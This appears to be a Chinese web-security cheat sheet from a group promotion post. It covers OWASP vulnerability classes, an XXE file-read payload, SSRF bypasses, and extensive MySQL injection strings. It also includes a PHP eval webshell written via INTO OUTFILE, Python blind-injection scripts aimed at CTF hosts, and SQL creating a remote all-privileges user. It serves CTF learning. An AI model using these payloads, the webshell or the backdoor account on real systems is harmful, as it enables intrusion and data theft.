1.注入
欢迎各位师傅加入星冥安全交流群(qq群):611901335
或者回复加群
sql注入
cookie注入
os注入:执行任意命令
代码注入:执行任意代码
LDAP注入
2.失效的身份认证和会话管理
cookie劫持
SSO单点登陆,cookie相关信息显示在url中,未经允许即可访问部分或全部用户信息
通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者暂时或永久的冒充其他用户的身份。
3.敏感数据泄露
网站源码压缩包
/.git/config
/.svn/entries
/cvs/Root
4.XML外部实体漏洞(xxe)
<?xml version="1.0" ?>
<!DOCTYPE ANY[
<!ENTITY xm SYSTEM "file:///etc/passwd">
<!ENTITY %ytc SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
%ytc;
]>
<root>$xm;</root>
5.无效的访问控制
水平越权
垂直越权
通过身份验证的用户,可以访问其他用户的相关信息,没有实施恰当的访问权限。攻击者可以利用这个漏洞去查看未授权的功能和数据,eg:访问用户的账户、敏感文件、获取和正常用户相同的权限等.
6.安全配置错误
管理员对服务器配置不当
7.跨站脚本攻击(xss)
反射型:经过服务器
存储型:经过服务器
dom型:不经过服务器,只由前端js触发
8.不安全的反序列化漏洞
java反序列化
php反序列化
9.使用含有已知漏洞的组件
10.日志与监控不足
11.不安全的对象直接引用
业务逻辑漏洞,越权访问他人账号信息
12.跨站请求伪造(CSRF)
防御:给每一个http请求添加一个不可预测的令牌,令牌要包含在隐藏字段中,通过http发送,不能在url中发送
13.服务器端请求伪造SSRF(curl)
内网探测,结合gopher协议使用反弹shell,利用file协议读取任意文件,利用dict协议查看开放端口
1.http基础认证http://[email protected]
2.利用302跳转(xip.io,www.tinyrul.com)
2.1 当我们访问xip.io的子域,比如127.0.0.1.xip.io的时候,实际上会被自动重定向到127.0.0.1
2.2 如果利用上面的方法会被检测127.0.0.1的话,可以利用www.tinyurl.com提供的服务来进行绕过
3.加上#或?即可
4.更改其他进制的ip
5.在线生成短网址
14.CORS(跨域资源共享)漏洞
15.mysql数据库结构
select'1',id,password,8e0from{x admin}
sql注入漏洞探测
http://www.skyteat.top/1.php?id=123
http://www.skyteat.top/1.php?id=123-0
http://www.skyteat.top/1.php?id=123-1
http://www.skyteat.top/1.php?id=123%2B1
http://www.skyteat.top/1.php?id='123'%2b''
http://www.skyteat.top/1.php?id='123'-'1'
http://www.skyteat.top/1.php?id='123'%2b'dsds'
sql语法注意点
group_concat(id,(sql))
+---------------------------------------------------------------+
| group_concat(id,(select database())) |
+---------------------------------------------------------------+
| 1test,2test,3test,4test,5test,6test,8test,9test,10test,11test |
+---------------------------------------------------------------+
concat(0x7e,(sql))
+-------------------------------------------+
| concat(0x7e,username,(select database())) |
+-------------------------------------------+
| ~erttest |
| ~erttest |
| ~erttest |
| ~erttest |
| ~erttest |
| ~ytctest |
| ~erttest |
| ~erttest |
| ~erttest |
| ~erttest |
+-------------------------------------------+
concat_ws(0x7e,username,(select database()),id) //第一个参数是后面参数之间的分隔符,显示与concat一样
+-------------------------------------------------+
| concat_ws(0x7e,username,(select database()),id) |
+-------------------------------------------------+
| ert~test~2 |
| ert~test~3 |
| ert~test~4 |
| ert~test~1 |
| ert~test~5 |
| ytc~test~6 |
| ert~test~8 |
| ert~test~9 |
| ert~test~10 |
| ert~test~11 |
+-------------------------------------------------+
这些sql连接符,如果括号里面的sql语句中间有空格的话,必须给sql语句外面加一个括号
比如group_concat(id,(select database()))
concat(0x7e,(select database()))
create table a(cmd text);
insert into a() values("<?php @eval($_POST['a']) ?>");
insert into a() values("hello");
+-----------------------------+
| cmd |
+-----------------------------+
| <?php @eval($_POST['a']; ?> |
| hello |
+-----------------------------+
select * from a into outfile "G:\\1.php"
select 0x3c3f70687020706870696e666f28293b203f3e into outfile "G:\\shell.php"; 0x3c3f70687020706870696e666f28293b203f3e <=> <?php phpinfo(); ?>
select load_file("G:\\shell.php"); G:\\shell.php<=>0x473a5c5c7368656c6c2e706870
select load_file(0x473a5c5c7368656c6c2e706870);
select * from admin where username=0x657274; <=> select * from admin where username="ert";
insert into a values("shell.php"); <=> insert into a values(0x7368656c6c2e706870);
引号里面的值可以使用16进制编码(除了into outfile后面跟的文件路径)
<?php
$id=$_GET['a'];
$sql=select * from admin where user='$id';
$sql1=select * from admin where user='{$id}';
echo $sql;
echo $sql1;
?a=1213
select * from admin where user='1213';
select * from admin where user='1213'; //传到数据库中的sql语句没有{}
1.information_schema表
schemata:存储了数据库中所有数据库名 存储字段:schema_name
tables:存储了数据库中所有表的名字 存储字段:table_schema,table_name
columns:存储了数据库中所有列的名字 存储字段:table_schema,table_name,column_name=
2.查询语句
select database():查询当前数据库
select schema_name from information_schema.schemata where schema_name=database():查询当前数据库名字
select table_name from information_schema.tables where table_schema=database();:查询当前数据库中所有表的名字
select column_name from information_schema.columns where table_schema=database() and table_name='admin';:查询当前数据库中admin表中列的名字
select id,username,password from admin;:查询admin表中所有列的信息
3.内联注释
/*!11111from*/:数字小于或者等于数据库版本信息才会执行 5.5.53 50553可以执行 可以进行fuzz
4.注释
#
-- -:--后面跟空格
/**/
语句主要用()绕过了空格,用like绕过了=号
pass=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
5.手工注入
id=1 and 1=2 union select 1,database(),3--+:查询数据库名字
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+:查询当前数据库中所有表
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='admin'--+:查询当前数据库中admin表中的所有列
id=-1 union select 1,group_concat(concat_ws(0x7e,username,password)),3 from admin
6.报错注入
发现如and/空格/union/select/=//**/等都被过滤了 ^可以代替or(^:异或运算)
爆出数据库名:password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23
updatexml(1,concat(0x7e,(select load_file('/flag.txt'))),1)
select hex(load_file("/tmp/html/.DS_Store"))
updatexml(1,concat(0x7e,substr((select load_file('/flag.txt')),1,20)),1)
updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
updatexml(1,concat(0x7e,(select database())),1) //如果select database()外面不加括号,sql语句语法就会不正确
爆出表名:password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
#语句主要用()绕过了空格,用like绕过了=号
爆出列名:password=aaa'^extractvalue(1,concat(0x7e,(select(grounp_concat(column_name)from(information_schema.columns)where(table_name)like('admin'))))%23
爆出密码:password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
password=aaa'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),20))%23 //爆出从有右边数20个字符
报错注入爆出的位数有限制,解决办法
(1).substr((sql语句),10,20) :select substr((sql语句),10,20) 下标从1开始,从第10个字母开始,取20个字母
select 1,2,substr(group_concat(concat_ws(username,passwd)),1,20) from test.admin;
select substr((select group_concat(id) from admin),1,20);
+---------------------------------------------------+
| substr((select group_concat(id) from admin),1,20) |
+---------------------------------------------------+
| 1,2,3,4,5,6,8,9,10,1 |
+---------------------------------------------------+
(2).reverse((sql语句)) : select reverse((sql语句)) :倒序输出
select reverse((select group_concat(id) from admin));
select reverse(group_concat(id)) from admin;
+-----------------------------------------------+
| reverse((select group_concat(id) from admin)) |
+-----------------------------------------------+
| 21,11,01,9,8,6,5,4,3,2,1 |
+-----------------------------------------------+
(3).regexp ('^f') : select * from admin where username regexp ('^e'); 匹配username中以字母e开头的
select * from admin where username regexp ('^e');
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 2 | ert | 21 |
| 3 | ert | 21 |
| 4 | ert | 21 |
| 1 | ert | 21 |
| 5 | ert | 21 |
| 8 | ert | 21 |
| 9 | ert | 21 |
| 10 | ert | 30 |
| 11 | ert | 20 |
+----+----------+--------+
在updatexml语句中,updatexml(1,concat(0x7e,()),1) 0x7e后面括号里的sql语句执行select database();select substr();select reverse()等语句时,可以不用加select
updatexml(1,concat(0x7e,(substr((select passwd from admin where id=1),2,5))),1)
updatexml(1,concat(0x7e,(reverse((select passwd from admin where id=1)))),1)
updatexml(1,concat(0x7e,(select passwd from admin where passwd regexp '^f')),1)
select(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="admin")),10,20));
select substr((sql语句),10,20);
正则匹配:select group_concat(passwd) from admin where (passwd)regexp('^r') //匹配以r开头的密码
reverse((sql语句)) //sql语句外面必须还要再加一个括号,不然执行不成功
test"or(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^f'))))),1))or"1
7.布尔盲注 if
如果过滤了information_schema数据库,在mysql5.7版本新增加了一个数据库sys
该数据库中的许多表都包含有mysql所有数据库对应的表的信息,但是没有对应列的信息
sys.schema_table_statistics
sys.x$schema_flattened_keys
sys.schema_auto_increment_columns
schema_table_statistics_with_buffer
以上表中存储了数据库中所有表的名字,利用该表可以查到所有表名,但是sys数据库中没有存储对应的列名信息的表
如果在不知道该表的列名的情况下想要获得该表的数据,
需要无列名注入 : 在不知道列名的情况下查该列的内容(但要知道该表列的数目)
select `b` from (select 1,2 as b,3 union select * from admin)a limit 1,1;
select `b` from (select 1,2 as b,3 union select * from admin) as a limit 1,1;
select a.b from (select 1,2 as b,3 union select * from admin) as a limit 1,1;
select group_concat(`b`) from (select 1,2 as b,3 union select * from admin)a;
111'/**/union/**/select/**/1,(select/**/bbb/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a/**/limit/**/1,1),3
判断列数方法
select (select 1,1,1) > (select 'dsd','id','f');返回1
select (select 1,1,1) > (select '1','id','f');返回1
select (select 1,1,1) > (select 1,'id','f'); 返回1
select (select 1,1,1) > (select 2,'id','f');返回0
select (select 0,0,0) > (select 1,'id','f');返回0
select (select 0,0,0) > (select 0,'id','f');返回0
select (select 0,0,0) > (select 'das','id','f');返回0
select (select 2,0,0) > (select 2,'id','f');返回0
select (select 1000,1000,1000) > (select 1,'id','f');返回1
select (select 1,1) > (select 1,'id','f'); 返回Operand should contain 2 column(s)
select * from admin where id=2^((select 1,1,1) > (select 2,'id','f')); 返回2^0即就是id=2
爆破列对应内容的脚本
import requests
url='http://fa0e7ec4-6472-4215-8757-65ed17f38cf8.node3.buuoj.cn/'
payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(1,50):
for i in range(32,128):
hexchar=flag+chr(i)
py=payload.format(hexchar)
datas={'id':py}
re=requests.post(url=url,data=datas)
if 'Nu1L' in re.text:
flag+=chr(i-1)
print(flag)
break
import requests
def str_hex(s): #十六进制转换 fl ==> 0x666c
res = ''
for i in s:
res += hex(ord(i)).replace('0x','')
res = '0x' + res
return res
url = "http://aa57764a-4113-4f9b-a23e-909fae3e7751.node3.buuoj.cn/index.php"
s = ""
for i in range(50):
for j in range(33,127):
flag = s + chr(j)
payload = "1^((1,{0})>(select * from f1ag_1s_h3r3_hhhhh))^1".format(str_hex(flag))
# print(payload)
data = {
"id" : payload
}
r = requests.post(url, data=data)
if "Nu1L" in r.text:
s += chr(j-1)
print(s)
break
爆出库名:if(ascii(substr(database(),%d,1))>%d,1,0)
0^(ascii(substr(database(),%d,1))>%d)
爆出表名:if((ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d),1,0)
0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0)
爆出列名:0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name="flag")),1,1))>0)
if((ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d),1,0)
爆出字段:0^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)
if((ascii(substr((select(flag)from(ctf)),1,1))>0),1,0)
盲注爆破脚本
import requests
url = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.buuoj.cn/?stunum="
result = ""
i = 0
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
mid = (head + tail) >> 1
# payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
# payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)
payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i, mid)
r = requests.get(url + payload)
r.encoding = "utf-8"
# print(url+payload)
if "your score is: 100" in r.text:
head = mid + 1
else:
# print(r.text)
tail = mid
last = result
if head != 32:
result += chr(head)
else:
break
print(result)
import requests
url='http://57e002cb-19bd-4ceb-bc2a-6960ff6347ac.node3.buuoj.cn/index.php'flag=''
for i in range(50):
a = 32
b = 128
mid = (a+b)//2
while(a<b):
#stunum=0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0) 爆表名
#stunum=0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flag')),1,1))>0) 爆列名
payload = url+"?stunum=0^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)"%(i,mid)
re = requests.get(url=payload)
if 'admin' in re.text:
a = mid + 1
else:
b = mid
mid = (a+b)//2
if (mid==32|mid==128):
break
flag +=chr(mid)
print(flag)
select * from admin where id=if(1=1,1,0)
在id为数字型时,可以直接select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and。
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
0^(length(database())>1)
if(length(database())>5,1,0)
利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
select id,user,pass from admin union select 1,'admin','123456'; 在admin表下面构造了id=1,user='admin',pass='123456'这个新数据
执行完语句之后虚拟出的数据就会消失
8.这里我们用到handler这个东西
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭 表:FlagHere
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
9.判断数据库的列数
select * from user where name="$name" limit 0,1;
在过滤--+,#的情况下
1" order by 3,"1 select * from user where name="1" order by 3,"1" limit 0,1;语句不会报错,会正常执行
1" group by 3,"1 select * from user where name="1" group by 3,"1" limit 0,1;语句不会报错,会正常执行
如果列数大于小于3,会报错Unknown column '4' in 'order clause'
Unknown column '4' in 'group statement'
order by,与group by后面只能跟数字才能正确判断数据库的列数,如果order by '100',永远不会报错,也就查不出数据库的列数
查询所有数据库用户:select user from mysql.user;
select distinct user from mysql.user;(去重复)
创建用户:create user 'xm'@'localhost' identified by '123456'; 创建只允许在本地登陆的xm用户,密码为123456
create user 'xm'@'%' identified by 'root';
grant all on *.* to 'xm'@'%';
欢迎各位师傅加入星冥安全交流群(qq群):611901335
点击下方小卡片或扫描下方二维码观看更多技术文章
师傅们点赞、转发、在看就是最大的支持